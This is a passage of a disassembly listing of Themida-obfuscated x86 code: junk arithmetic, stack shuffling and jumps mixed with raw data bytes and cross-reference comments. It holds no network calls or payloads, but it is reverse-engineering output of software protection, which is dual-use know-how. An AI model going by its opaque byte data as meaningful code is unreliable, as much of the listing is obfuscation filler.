		sub	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_553FB6
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 83h
		dd 0D120E324h, 0E9D7F7EFh, 8139h, 2BEh,	5EF72900h, 554068h
		dd 240C8900h, 0C181E189h, 4, 8F87E9h
		db 0
; ---------------------------------------------------------------------------


loc_558299:				; CODE XREF: Themida_:0055750Dj
		add	eax, 267809E2h
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, ecx
		pop	ecx
		mov	ebp, 25F609DFh
		jmp	loc_5654BD
; ---------------------------------------------------------------------------


loc_5582B6:				; CODE XREF: Themida_:00550B7Cj
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		push	3D116463h
		pop	ecx
		or	ecx, 36082E7Ah
		dec	ecx
		shl	ecx, 3
		push	esi
		mov	esi, 0F8CB73CCh
		add	ecx, 0A7E5EDDh
		sub	ecx, esi
		sub	ecx, 0A7E5EDDh
		pop	esi
		add	edx, ecx
		jmp	loc_55C645
; ---------------------------------------------------------------------------
dword_5582E8	dd 24048B66h, 27666857h, 0B6680000h, 8900000Eh,	4812424h
					; DATA XREF: Themida_:0054FCE8o
		dd 424h, 24048F00h, 4240483h, 52243C8Bh, 0C281E289h, 4
		dd 3304C283h, 14312414h, 24143324h, 0BD55535Ch,	5CE839EFh
		dd 60AA70BBh, 0CAC1E9AAh
		db 2 dup(0FFh)
word_558332	dw 77FFh		; DATA XREF: Themida_:0054FECCo
		dd 11589D1Ch, 0E99C2404h, 0FFFF7BD7h, 4FA4E581h, 0B8504D30h
		dd 1A4E156Eh, 0F7D0F748h, 40D0F7D8h, 5304E8C1h,	0FFD52FE9h
		dd 0B8EB80FFh, 0FFC0B60Fh, 34FF8734h, 24048B24h, 81E28952h
		dd 4C2h, 4C28300h, 31241433h, 2E92414h,	89000057h, 4C381E3h
		dd 55000000h, 0B960E9h
		db 0
; ---------------------------------------------------------------------------


loc_558391:				; CODE XREF: Themida_:0055C85Aj
		push	651B558Bh
		jmp	loc_55B8DD
; ---------------------------------------------------------------------------


loc_55839B:				; CODE XREF: Themida_:0055F62Dj
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 261363A7h
		xor	ecx, 3E3C0F23h
		jmp	loc_55EDB3
; ---------------------------------------------------------------------------
		db 66h
		dd 81241C8Bh, 2C4h, 2EC8300h, 0FFB0D9E9h, 4C181FFh, 0E9000000h
		dd 0FFFFB6BDh, 66E2ED81h, 0FD0104E9h, 66E2C581h, 3C8B04E9h
		dd 4C48324h, 2C581h, 0CE90000h,	33000062h, 0F6E9243Ch
		dd 58FFFFB7h, 3503E8C1h, 444D38CFh, 0BF58C689h,	0AD0E3382h
		dd 15EF729h, 0DE015FFEh, 22ABEE81h, 525B67C9h, 9C4437BAh
		dd 0E9D62918h, 0FFFFEC59h, 0A7BE5655h, 8138E40Eh, 364B9CCEh
		dd 32C68135h, 4E58102Ch, 69C9EE81h, 0E9521E27h,	733Ah
		dd 33241431h, 525C2414h, 206C68h, 243C8900h, 0F01B5DBFh
		dd 0CEF7E950h, 26BAFFFFh, 8921DB26h, 0E9895AD5h, 0CFF515Dh
		dd 2414F724h, 90E95159h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558473:				; CODE XREF: Themida_:00555C70j
		mov	[esp], eax
		mov	eax, 2926F78h
		sub	eax, 0D9834B77h
		add	ecx, 7FB00BADh
		add	ecx, eax
		sub	ecx, 7FB00BADh
		pop	eax
		sub	ecx, esi
		push	edx
		mov	edx, 159C5381h
		jmp	loc_5620AC
; ---------------------------------------------------------------------------


loc_55849C:				; CODE XREF: Themida_:005553AEj
		xchg	eax, [esp]
		mov	esp, [esp]


loc_5584A2:				; CODE XREF: Themida_:00551B92j
		push	6827h
		mov	[esp], edx
		push	eax
		push	ebx
		jmp	loc_556D19
; ---------------------------------------------------------------------------


loc_5584B1:				; CODE XREF: Themida_:0055548Fj
		mov	eax, edx
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5529EA
; ---------------------------------------------------------------------------
		db 81h
		dd 5B0D99C1h, 0E9CF010Ch, 733Ah
dword_5584E0	dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF7A27h, 4EB75366h
					; DATA XREF: Themida_:0054FD78o
		dd 0FFCD8DE9h, 42C681FFh, 4E372B10h, 0E681D6F7h, 24DE2D15h
		dd 2FDBF57h, 0EFC17509h, 0F7814703h, 2645549Bh,	88C7814Fh
		dd 81266E34h, 0F4C27CC7h, 0BDCAE9FDh, 0C1810000h, 175F580Bh
		dd 159CA89h, 5A082454h,	4246C81h, 5CF45C97h, 79D1E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558546:				; CODE XREF: Themida_:00550645j
					; Themida_:loc_551E45j	...
		push	dword ptr [edi+24h]
		push	edx
		mov	edx, 3239136Ch
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5645E4
; ---------------------------------------------------------------------------
		db 4, 0A7h, 0E9h
		dd 308Dh
; ---------------------------------------------------------------------------


loc_558564:				; CODE XREF: Themida_:00560B28j
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 23801BF5h
		jmp	loc_5558D0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 4EC8304h, 0FF243C89h, 5F042474h,	8B24048Fh
		dd 34892424h, 2474FF24h, 27E95E04h, 58FFFF8Dh, 0EBAE9h
		dd 34FF5900h, 0C4815924h, 4, 4BB53h, 0C1810000h, 9E02F7h
		dd 0ACE9D901h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5585BB:				; CODE XREF: Themida_:0055B5E1j
		push	ebx
		jmp	loc_55252D
; ---------------------------------------------------------------------------
aWDbs		db 'W¿Ñ*¤béÜ]',0
		align 4
		dd 0C581DDF7h, 0F247FD26h, 565DEE29h, 0B919E9h,	5AD70100h
		dd 8704C783h, 0D6E9243Ch
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5585EB:				; CODE XREF: Themida_:00553F97j
		and	eax, ebx
		jmp	loc_55198C
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 31C38028h, 80F8C380h, 0DA88BDEBh, 0E9CAFE5Bh, 0BC07h
		dd 2A6CA205h, 0E9535100h, 3C95h, 5358C389h, 0FE242C81h
		dd 5E785A3Fh, 3FFEC681h, 34FF785Ah, 0C4835B24h,	2434FF04h
		dd 4C4815Dh, 81000000h,	5E0BE9CEh, 0F871E96Ah, 885BFFFFh
		dd 42E958E7h, 50000024h, 405E089h, 0E9000000h, 0FFFFDEFCh
		dd 4C481h, 0D0010000h, 0E924148Bh, 844Fh
; ---------------------------------------------------------------------------


loc_558668:				; CODE XREF: Themida_:0055F16Aj
		pop	esi
		jmp	loc_55AB2B
; ---------------------------------------------------------------------------
		dw 56BBh
		dd 81434337h, 0FD65B0F3h, 81DBF76Ah, 41AD1EF3h,	0E9D901D6h
		dd 0FFFF7BE9h, 4BE5645h, 1A36A98h, 0EE815EF5h, 0F6206C5h
		dd 7345C681h, 0EE016861h, 7345EE81h, 0C6816861h, 0F6206C5h
		dd 0FF9941E9h, 58E730FFh, 34FFF828h, 241C8B24h,	5704C483h
		dd 0C781E789h, 4, 4C781h, 3C330000h, 243C3124h,	8B243C33h
		dd 52662424h, 88E9BCB6h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5586E3:				; CODE XREF: Themida_:0055A90Ej
		xchg	eax, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_5648B9
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 32E140FBh, 2ACDF281h, 0DAF72E77h, 7C6C281h, 4AE98E3Dh
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558717:				; CODE XREF: Themida_:00561960j
		sub	eax, esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_560B7E
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 2
		dd 1000000h, 0D7CBE9C3h, 0EEC1FFFFh, 6DCE8106h,	817C7307h
		dd 88498AC6h, 0A7F68144h, 29EC73BAh, 24348BF7h,	0E904C483h
		dd 0FFFFC3F8h, 0ADC58166h, 0DD296636h, 0ADED8166h, 2434FF36h
		dd 7523E9h, 24248B00h, 7CF6E9h,	4EC8100h, 89000000h, 0E956241Ch
		dd 928Ch
; ---------------------------------------------------------------------------


loc_558780:				; CODE XREF: Themida_:00564B80j
		pop	edx
		jmp	loc_559B24
; ---------------------------------------------------------------------------
		dw 0FD09h
		dd 4EC835Fh, 0B9240C89h, 5E037525h, 0F703E9C1h,	6E9C1D9h
		dd 11A6BB53h, 0D93177F0h, 8BCD315Bh, 0C483240Ch, 5EF52904h
		dd 0FFA61DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5587B5:				; CODE XREF: Themida_:00562E50j
		mov	esi, edx
		jmp	loc_557372
; ---------------------------------------------------------------------------
dword_5587BC	dd 24048B66h, 0C164E953h, 4BBFFFFh, 29000000h, 2DC3E9D9h
					; DATA XREF: Themida_:0054FE1Co
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5587D2:				; CODE XREF: Themida_:0055BC11j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_551C4D
; ---------------------------------------------------------------------------
aISb		db '‰,$é³',0
		db 0
; ---------------------------------------------------------------------------


loc_5587EB:				; CODE XREF: Themida_:00565236j
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_551DEE
; ---------------------------------------------------------------------------
		db 0BEh
		dd 3B6C1CAFh, 0FFB393E9h, 0FA685AFFh, 89000026h, 74FF240Ch
		dd 34FF0424h, 54575924h, 72B9515Fh, 0E976980Ah,	0B710h
		dd 6042ED81h, 98E917EAh, 0CCh, 2EC81D8h, 66000000h, 0B6241489h
		dd 66F00034h, 4EC815Ah,	89000000h, 0EC832414h, 240C8904h
		dd 4DF4E9h
		db 0
off_558855	dd offset dword_457444+8224h ; DATA XREF: Themida_:0054FC74o
		align 2
		dw 0C89h
		dd 4EC8124h, 89000000h,	9ABF243Ch, 0B937EB68h, 42DFCBBBh
		dd 49E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_558875:				; CODE XREF: Themida_:00563399j
		pop	esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	dword ptr [esp]
		jmp	loc_553C65
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0E563E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558896:				; CODE XREF: Themida_:0055981Bj
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	eax
		mov	eax, 4D8902BAh
		and	eax, 53361BDCh
		shr	eax, 7
		dec	eax
		push	ebp
		push	0
		pop	ebp
		sub	ebp, eax
		jmp	loc_558A5A
; ---------------------------------------------------------------------------
		db 0BEh
		dd 461571A4h, 0B00BD55h, 0E5C1183Eh, 55C58106h,	21048760h
		dd 242C8BEEh, 4C481h, 0F6810000h, 321E1E74h, 348B5956h
		dd 4C48124h, 50000000h,	0E27D05B8h, 0E9C1214Ah,	8C86h
; ---------------------------------------------------------------------------


loc_5588FC:				; CODE XREF: Themida_:0056203Dj
		mov	edx, 23648A9h
		dec	edx
		xor	edx, 0B914222h
		not	edx
		push	0
		sub	[esp], edx
		mov	edx, [esp]
		jmp	loc_55B52F
; ---------------------------------------------------------------------------
		dw 0FB68h
		dd 89000067h, 83512414h, 48904ECh, 801E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55892E:				; CODE XREF: Themida_:0055FC08j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_558DC5
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0B6F7E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558942:				; CODE XREF: Themida_:005566ABj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_552A40
; ---------------------------------------------------------------------------
byte_558955	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FD50o
		dd 0FFA6D5E9h, 0E0BD55FFh, 0E95CCF24h, 1689h, 0F777EF81h
		dd 0C38123EAh, 70480CA7h, 6240BA52h, 0DAF76663h, 702F281h
		dd 0EA8112F3h, 6C2663F1h, 0DAF7E2D1h, 283E9h, 0E9E95F00h
		db 0C8h, 2 dup(0FFh)
byte_558997	db 68h			; DATA XREF: Themida_:0054FDDCo
		dd 226Dh, 68241489h, 40A365E6h,	0E6F2815Ah, 8340A365h
		dd 148904ECh, 0C2E95024h, 1000036h, 5E042474h, 5624048Fh
		dd 468h, 24348B00h, 8104C483h, 0DB042444h, 814C2141h, 83042444h
		dd 109680Bh, 81042474h,	8304246Ch, 8109680Bh, 0DB04246Ch
		dd 5E4C2141h, 0FF2434FFh, 92E92434h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5589FB:				; CODE XREF: Themida_:00558D87j
		push	edx
		jmp	loc_557739
; ---------------------------------------------------------------------------
		db 68h,	5Fh, 16h
		dd 75E90000h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558A0B:				; CODE XREF: Themida_:005567DFj
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_561FEE
; ---------------------------------------------------------------------------
		db 0B7h, 47h, 80h
		dd 0C7805EF7h, 5BFE88CBh, 5ED80h, 5C580F5h, 0FFE8005Ah
		dd 0E9592434h, 6B3Dh, 0EB2542BEh, 42CEE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558A46:				; CODE XREF: Themida_:005636EEj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 747B18DEh
		push	edi
		jmp	loc_550E25
; ---------------------------------------------------------------------------


loc_558A5A:				; CODE XREF: Themida_:005588BAj
		push	79CEh
		mov	[esp], ebp
		jmp	loc_55750A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24348700h, 0FFE9505Ch,	89FFFF84h, 5D54242Ch, 70E4E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558A82:				; CODE XREF: Themida_:00556B1Cj
		mov	ecx, esp
		jmp	loc_5559F5
; ---------------------------------------------------------------------------
aLS		db '‹$$é',0Dh,0Ah,0
		dd 81DDF700h, 1D22F1E5h, 42C5E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558A9E:				; CODE XREF: Themida_:00557262j
		xchg	esi, [esp]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 79FE29B9h
		add	edi, 8601D64Bh
		jmp	loc_554A34
; ---------------------------------------------------------------------------


loc_558ACB:				; CODE XREF: Themida_:00555E78j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_564455
; ---------------------------------------------------------------------------


loc_558AE1:				; CODE XREF: Themida_:00551BCAj
		mov	[esp], ebx
		jmp	loc_5595A7
; ---------------------------------------------------------------------------
byte_558AE9	db 55h,	56h, 0BEh	; DATA XREF: Themida_:0054FE04o
		dd 441D79EAh, 43861E68h, 0C5815D51h, 15B65842h,	0ED81F529h
		dd 15B65842h, 0BD55565Eh, 68542190h, 0CDA8E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558B12:				; CODE XREF: Themida_:0055DF46j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55C829
; ---------------------------------------------------------------------------
		dd 10558h, 0B70D0000h, 5720D702h, 7CBA4BFh, 7412DCCh, 0F82976BCh
		dd 0BC074105h, 0C5895F76h, 8BEB2958h, 0C483242Ch, 0CBC38104h
		dd 12BCF62h, 0CBEB81C3h, 552BCF62h, 0EA7D96BDh,	0D004E958h
		dd 0F181FFFFh, 8852DC4Eh, 0BA0D78BEh, 2E6C15Eh,	0EEC1D6F7h
		dd 0DEF68105h, 31583E19h, 0EC8159CEh, 4, 0FFABB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558B89:				; CODE XREF: Themida_:00564A8Ej
		push	esi
		push	eax
		push	esi
		mov	esi, 146860BEh
		mov	eax, esi
		pop	esi
		jmp	loc_559A51
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B8240489h, 5B4623FEh, 0E45AA235h, 73BD5502h, 0F71C265Ch
		dd 8E93E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558BB6:				; CODE XREF: Themida_:0055F3E7j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_559BA8
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 0FF000000h, 0E95F2434h, 9939h
; ---------------------------------------------------------------------------


loc_558BD4:				; CODE XREF: Themida_:00561082j
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd offset loc_41D7E9
		dd 80D30000h, 0E95ACDEBh, 7DE9h, 224448Ah, 2247C88h, 0FF76ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558BF9:				; CODE XREF: Themida_:005547D5j
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_563C19
; ---------------------------------------------------------------------------
		dd 5D97EA81h, 0D301551Ah, 81FB295Ah, 5334C7EBh,	0A7EB816Ch
		dd 8B70480Ch, 90E9243Ch, 6600002Bh, 8766D2F7h, 0C38166D3h
		dd 11E96177h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C43:				; CODE XREF: Themida_:00562372j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55279C
; ---------------------------------------------------------------------------


loc_558C59:				; CODE XREF: Themida_:0055BCAAj
		add	esi, ecx
		pop	ecx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55A4BE
; ---------------------------------------------------------------------------
		dd 0E848552Dh, 58C229D1h, 0F5E9C909h, 86FFFFABh, 80C4FECCh
		dd 0E4C001C4h, 41E48003h, 6601EC80h, 0C8B151h, 805966CCh
		dd 0E953FFC4h, 0C715h
; ---------------------------------------------------------------------------


loc_558C98:				; CODE XREF: Themida_:00550FA5j
		pop	edi
		xor	ecx, 1CACF1A7h
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_560703
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 0D8E95700h, 830000BDh,	0EC8104C4h, 4, 0FFDE0BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558CC9:				; CODE XREF: Themida_:0055EA94j
		add	edx, 6F884B2Ch
		jmp	loc_562DDE
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481240Ch, 4, 5304C483h,	5F3F39BBh, 51E98170h
		dd 29752740h, 51B850D9h, 0E9752740h, 0FFFFCBE7h
dword_558CFC	dd 0FF2434FFh, 0D5E92434h, 89000095h, 0E589242Ch, 4C581h
					; DATA XREF: Themida_:0054FE50o
		dd 0E9520000h, 5C25h, 2DB3BE56h, 0F23112EFh, 0D160E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D26:				; CODE XREF: Themida_:00555EF8j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 75BD1575h
		jmp	loc_55C693
; ---------------------------------------------------------------------------
		dw 0F829h
a_ISxyhx	db '_-©',0Bh,'‘xYh•',0
		align 4
		dd 0E9243489h, 0FFFF9A5Ch
; ---------------------------------------------------------------------------


loc_558D4C:				; CODE XREF: Themida_:00563592j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_554F80
; ---------------------------------------------------------------------------


loc_558D71:				; CODE XREF: Themida_:00555864j
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5589FB
; ---------------------------------------------------------------------------
		dd 3A64F381h, 0F3810DAEh, 50CB33C8h, 9205C381h,	0AFE94CD1h
		dd 5000093h, 351301C3h,	96268h,	24348900h, 4F0168h, 240C8900h
		dd 0A03FDAB9h, 2E1C131h, 451EE9h
		db 0
; ---------------------------------------------------------------------------


loc_558DC5:				; CODE XREF: Themida_:00558934j
		push	eax
		jmp	loc_55B8F6
; ---------------------------------------------------------------------------
byte_558DCB	db 66h			; DATA XREF: Themida_:0054FCA0o
		dd 0E924048Bh, 17D9h, 0E95EF209h, 9539h, 5FFE0159h, 8B243487h
		dd 0EC832424h, 0C8E9E904h, 0E95EFFFFh, 14E0h, 5D82959h
		dd 2B5561CBh, 9BB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_558E01:				; CODE XREF: Themida_:00561DE7j
		pop	edx
		jmp	loc_559985
; ---------------------------------------------------------------------------


loc_558E07:				; CODE XREF: Themida_:00551706j
		add	esp, 4
		push	2414h
		mov	[esp], ebx
		mov	ebx, 77077B92h
		sub	ebx, 3D2F0A16h
		push	ebp
		mov	ebp, 5020283Dh
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_560DDE
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4200408Eh, 1E5FCA81h, 814A38D5h,	86E23BC2h
		dd 0E9D00193h, 1A74h, 4C381h, 40E90000h, 8BFFFFC2h, 0C4812404h
		dd 4, 0BDD7E9h
		db 0
; ---------------------------------------------------------------------------


loc_558E65:				; CODE XREF: Themida_:00554783j
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55019B
; ---------------------------------------------------------------------------
		db 1, 0D1h, 5Ah
aWsu4		db 'Wéž4',0
		align 2


loc_558E7E:				; CODE XREF: Themida_:0055B15Bj
		push	ecx
		jmp	loc_55BBC6
; ---------------------------------------------------------------------------


loc_558E84:				; CODE XREF: Themida_:00564999j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0EB20E21Ch
		xor	eax, edi
		pop	edi
		xor	ecx, eax
		pop	eax
		push	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4290061Ch
		jmp	loc_55147A
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 7FA25286h, 0EB81D3F7h, 998412Eh, 9BE9DF29h, 89000087h
		dd 405E0h, 0BA520000h, 4, 712B4A05h, 2DD02950h,	50712B4Ah
		dd 5A2434FFh, 0FF8E0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558EDD:				; CODE XREF: Themida_:0055FAC1j
		pop	edx
		sub	ecx, ebx
		push	eax
		mov	eax, 505B432Dh
		shr	eax, 5
		jmp	loc_5653E5
; ---------------------------------------------------------------------------


loc_558EEE:				; CODE XREF: Themida_:0055EF65j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	edx, 34865EEAh
		add	edx, eax
		jmp	loc_54FFC2
; ---------------------------------------------------------------------------
		dd 68241489h, 4, 7942E9h, 59C83100h, 0FF911FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558F1D:				; CODE XREF: Themida_:0055489Bj
		mov	[esp], ebx
		xor	dword ptr [esp], 254474EDh
		pop	eax
		xor	eax, 254474EDh
		push	edi
		push	eax
		mov	eax, 3AB0B24h
		mov	edi, 6CE70CA3h
		sub	edi, eax
		jmp	loc_563D39
; ---------------------------------------------------------------------------
		dd 8A9BF57h, 0FB0958FDh, 0E9243C8Bh, 4EFCh, 6624248Bh
		dd 8124048Bh, 4ECh, 242C8900h, 85DBE9h,	241C8700h, 0FFC244E9h
		dd 57C581FFh, 817DBC56h, 373470C5h, 0B5C3817Eh,	10DD61Ah
		dd 3D74E9EBh, 0DE890000h, 8AEAE95Bh, 248BFFFFh,	0A30F6624h
		dd 0E99C2404h, 0FFFF6F7Bh, 9C240CFEh, 0FF6F72E9h, 24348BFFh
		dd 3304C483h, 4312404h,	24043324h, 0E924248Bh, 8AFDh, 5F2434FFh
		dd 9401E9h, 0CDEE8000h,	88F38853h, 5A665BD9h, 77E96C04h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558FD7:				; CODE XREF: Themida_:00560644j
		push	538Bh
		jmp	loc_55F0AB
; ---------------------------------------------------------------------------


loc_558FE1:				; CODE XREF: Themida_:005580E3j
		pop	esi
		sub	ebx, 0FFFFFFFFh
		or	ebx, 5C213417h
		and	ebx, 5A087A8Eh
		jmp	loc_552CD1
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 24143359h, 33241431h, 248B2414h, 971AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55900A:				; CODE XREF: Themida_:0055BE08j
		mov	cl, bh
		jmp	loc_55636A
; ---------------------------------------------------------------------------


loc_559011:				; CODE XREF: Themida_:00556D96j
		or	edx, eax
		shl	edx, 1
		push	2028h
		jmp	loc_55BB40
; ---------------------------------------------------------------------------


loc_55901F:				; CODE XREF: Themida_:00557BE0j
		pop	edi
		add	edx, 619E5B78h
		jmp	loc_559E69
; ---------------------------------------------------------------------------
		db 0FFh
a4SS		db '4$霑',0
		dw 8900h
		dd 0EC835BD9h, 24048904h, 1207A5B8h, 14F75032h,	0FC055824h
		dd 68328159h, 35EDh, 2C3E9h, 6EDC100h, 0FFC9B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55905D:				; CODE XREF: Themida_:00551D9Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5542A8
; ---------------------------------------------------------------------------
dword_559078	dd 9D1C77FFh, 14D35966h, 90E99C24h, 0B9FFFF6Eh,	1B0018AFh
					; DATA XREF: Themida_:0054FE54o
		dd 559C829h, 3D077E0Bh,	0A23E3505h, 2BB32D1Ah, 0D82910CAh
		dd 3197E9h
		db 0
; ---------------------------------------------------------------------------


loc_5590A5:				; CODE XREF: Themida_:005590DDj
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_553B6B
; ---------------------------------------------------------------------------
		dw 15Eh
aZs		db 'ÑZé~',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5590BB:				; CODE XREF: Themida_:00561E21j
		add	esi, 1BE01231h
		xor	esi, 7BCE74E6h
		add	ecx, esi
		pop	esi
		jmp	loc_55B02C
; ---------------------------------------------------------------------------
		db 58h
		dd 171BE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5590D6:				; CODE XREF: Themida_:0055D957j
		mov	edi, 4
		sub	ecx, edi
		jmp	loc_5590A5
; ---------------------------------------------------------------------------


loc_5590E2:				; CODE XREF: Themida_:0055B194j
		add	edi, 57BC0D62h
		shr	edi, 6
		not	edi
		sub	edi, 3E2B7004h
		sub	edi, 0A8932B22h
		sub	ecx, edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 6656ACAh
		jmp	loc_5524A4
; ---------------------------------------------------------------------------


loc_559110:				; CODE XREF: Themida_:005507AAj
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55EB55
; ---------------------------------------------------------------------------
		dd 0D494E952h, 0E958FFFFh, 0C37Ch, 73E988B3h, 0B4000090h
		dd 58E58831h, 7951E9h, 56F90100h, 0CE1160BEh, 0E6814652h
		dd 0D0B60D5h, 6190F681h, 0F1292DB7h, 5D01E95Eh,	89570000h
		dd 4C781E7h, 81000000h,	4C7h, 0B94E900h, 57510000h, 4BFh
		dd 5FF98900h, 8359CA01h, 148704C2h, 83555C24h, 1C8904ECh
		dd 0DBCDE924h, 8142FFFFh, 0E21A67F2h, 50BB5350h, 31B7429Ah
		dd 46E95BDAh, 0FF000098h, 48B2434h, 59545124h, 0FF8A33E9h
		dd 17E981FFh, 550D4826h, 0A96D14BDh, 7D72E934h,	2C890000h
		dd 0DAA56824h, 315D6E7Fh, 0B027E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5591CE:				; CODE XREF: Themida_:00557170j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_554DA9
; ---------------------------------------------------------------------------
		db 2Dh,	8Ch, 0C9h
		dd 0C529FD68h, 5176E9h,	24248B00h, 24040966h, 6D1DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5591FA:				; CODE XREF: Themida_:00553BE4j
		neg	ebx
		dec	ebx
		jmp	loc_55627F
; ---------------------------------------------------------------------------
		dw 0EA31h
		dd 0DBCA815Dh, 816C9D5Bh, 47BEABC2h, 45CD2DE5h,	0D0016FBAh
		dd 0BA45CD05h, 11E95A6Fh, 3300001Eh, 248B2404h,	4C48124h
		dd 0D3000000h, 0E0E92424h, 81FFFF6Ch, 5F0DA1E9h, 0C335822h
		dd 240C3124h, 1684E9h, 24148B00h, 4C481h, 75680000h, 8900006Ch
